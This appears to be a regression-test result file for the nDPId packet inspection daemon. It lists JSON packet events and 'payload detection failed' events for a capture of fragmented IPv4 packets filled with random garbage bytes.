+00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913758,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913783,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913814,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913825,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913837,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913849,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913861,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913964,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913971,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913978,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913986,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914010,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914017,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914026,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914038,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914067,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914080,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914092,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914103,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914115,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914127,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914141,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914153,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914177,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914219,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914281,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 